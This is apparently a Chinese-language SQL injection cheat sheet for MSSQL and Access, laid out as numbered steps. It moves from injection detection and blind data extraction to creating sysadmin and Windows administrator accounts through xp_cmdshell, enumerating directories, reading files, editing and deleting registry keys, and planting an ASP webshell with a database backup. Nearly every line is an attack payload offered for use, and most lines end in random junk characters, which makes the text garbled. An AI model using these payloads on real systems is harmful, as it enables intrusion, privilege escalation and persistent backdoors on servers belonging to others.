1.判断是否有注入;and 1=1 ;and 1=2 UoCFj2?C
2.初步判断是否是mssql ;and user>0 \:, dWLu
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3.注入参数是字符'and [查询条件] and ''=' va[@XGaC3
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' NLf6}
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5.判断数据库系统 u?r=;:N|y
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;and (select count(*) from sysobjects)>0 mssql G$( B26
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;and (select count(*) from msysobjects)>0 access %3!DRz
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 g)nsP
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |]y]K%
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 bdEc?
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9.(1)猜字段的ascii值(access) $9)| cO
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 WW\t<O;z
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(2)猜字段的ascii值(mssql) * EY^t=
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [oqb@J2
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10.测试权限结构(mssql) lu2"?y[2
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- lky{<jZ%
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- mWN9/+!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wC{?@h
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- SkU'JM7<95
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ^U OVXRn
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Y=94<e[f"
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;and 1=(select IS_MEMBER('db_owner'));-- V 3?x_pp
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11.添加mssql和系统的帐户 vy&q7EX<i
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;exec master.dbo.sp_addlogin username;-- 2?J[D7
;exec master.dbo.sp_password null,username,password;-- zI1-l9 o
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- D_VAtz
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;exec master.dbo.xp_cmdshell 'net user username password *PEk+e
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4K{<R!2I
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- <e)5$Aj
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- yCC.j%@
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12.(1)遍历目录 "kHFt|%@
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;create table dirs(paths varchar(100), id int) o$disJ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' TX/Ng+v S
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;and (select top 1 paths from dirs)>0 p{c+ +P5
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) U5_1-wV
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(2)遍历目录 PH$fDbC8
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3"9'MDKH
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 GP|G[
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $;@LPE
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 X%1j-;Wr@
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 H#zsk*=QD
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13.mssql中的存储过程 `VJJ"v<L
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xp_regenumvalues 注册表根键, 子键 vbXZ Z
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 pz L !42
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xp_regread 根键,子键,键值名 iobL6SUZ
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;exec xp_regread #a :W
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &2i3"9k
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xp_regwrite 根键,子键, 值名, 值类型, 值 IYb%f T
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 aVI%FycYo
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xp_regdeletevalue 根键,子键,值名 2`|1 !x
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ">?ocJ\9
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Ws_RS%
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14.mssql的backup创建webshell P[|FK(l
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use model u2p5*gzZ
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create table cmd(str image); O^tH43C
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insert into cmd(str) values (''); SHM
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backup database model to disk='c:\l.asp'; D'dE!CAUs
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15.mssql内置函数 GQZLOjsop
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;and (select @@version)>0 获得Windows的版本号 E="FE.%A
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa AYB
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;and (select user_name())>0 爆当前系统的连接用户 0)c9X[sG
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;and (select db_name())>0 得到当前连接的数据库 ?2#!63[Kg
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16.简洁的webshell cyR K&J
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use model Sk*-B@!S
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create table cmd(str image); x2 s%qZ#
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insert into cmd(str) values (''); sk0N=5SB-
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backup database model to disk='g:\wwwtest\l.asp';